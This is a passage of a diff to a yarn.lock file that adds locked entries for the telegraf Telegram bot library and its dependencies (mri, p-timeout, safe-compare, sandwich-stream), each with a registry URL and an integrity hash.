+  resolved "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz"
+  integrity sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==
+
 eventemitter3@^3.1.0:
   version "3.1.2"
   resolved "https://registry.npmmirror.com/eventemitter3/-/eventemitter3-3.1.2.tgz"
@@ -1886,6 +1926,11 @@ mnemonist@^0.40.0:
   dependencies:
     obliterator "^2.0.4"
 
+mri@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz"
+  integrity sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==
+
 ms@^2.0.0, ms@^2.1.3:
   version "2.1.3"
   resolved "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz"
@@ -1986,6 +2031,11 @@ osx-release@^1.0.0:
   dependencies:
     minimist "^1.1.0"
 
+p-timeout@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.npmjs.org/p-timeout/-/p-timeout-4.1.0.tgz"
+  integrity sha512-+/wmHtzJuWii1sXn3HCuH/FTwGhrp4tmJTxSKJbfS+vkipci6osxXM5mY0jUiRzWKMTgUT8l7HFbeSwZAynqHw==
+
 package-json-from-dist@^1.0.0:
   version "1.0.1"
   resolved "https://registry.npmmirror.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz"
@@ -2213,6 +2263,13 @@ safe-buffer@~5.1.0, safe-buffer@~5.1.1:
   resolved "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz"
   integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
 
+safe-compare@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.npmjs.org/safe-compare/-/safe-compare-1.1.4.tgz"
+  integrity sha512-b9wZ986HHCo/HbKrRpBJb2kqXMK9CEWIE1egeEvZsYn69ay3kdfl9nG3RyOcR+jInTDf7a86WQ1d4VJX7goSSQ==
+  dependencies:
+    buffer-alloc "^1.2.0"
+
 safe-regex-test@^1.1.0:
   version "1.1.0"
   resolved "https://registry.npmmirror.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz"
@@ -2239,6 +2296,11 @@ safe-stable-stringify@^2.3.1:
   resolved "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz"
   integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
 
+sandwich-stream@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/sandwich-stream/-/sandwich-stream-2.0.2.tgz"
+  integrity sha512-jLYV0DORrzY3xaz/S9ydJL6Iz7essZeAfnAavsJ+zsJGZ1MOnsS52yRjU3uF3pJa/lla7+wisp//fxOwOH8SKQ==
+
 sax@>=0.6.0:
   version "1.4.1"
   resolved "https://registry.npmmirror.com/sax/-/sax-1.4.1.tgz"
@@ -2522,6 +2584,20 @@ supports-preserve-symlinks-flag@^1.0.0:
   resolved "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz"
   integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
 
+telegraf@^4.16.3:
+  version "4.16.3"
+  resolved "https://registry.npmjs.org/telegraf/-/telegraf-4.16.3.tgz"
+  integrity sha512-yjEu2NwkHlXu0OARWoNhJlIjX09dRktiMQFsM678BAH/PEPVwctzL67+tvXqLCRQQvm3SDtki2saGO9hLlz68w==
+  dependencies:
+    "@telegraf/types" "^7.1.0"
+    abort-controller "^3.0.0"
+    debug "^4.3.4"
+    mri "^1.2.0"
+    node-fetch "^2.7.0"
+    p-timeout "^4.1.0"
+    safe-compare "^1.1.4"
+    sandwich-stream "^2.0.2"
+
 thenify-all@^1.0.0:
   version "1.6.0"
   resolved "https://registry.npmmirror.com/thenify-all/-/thenify-all-1.6.0.tgz"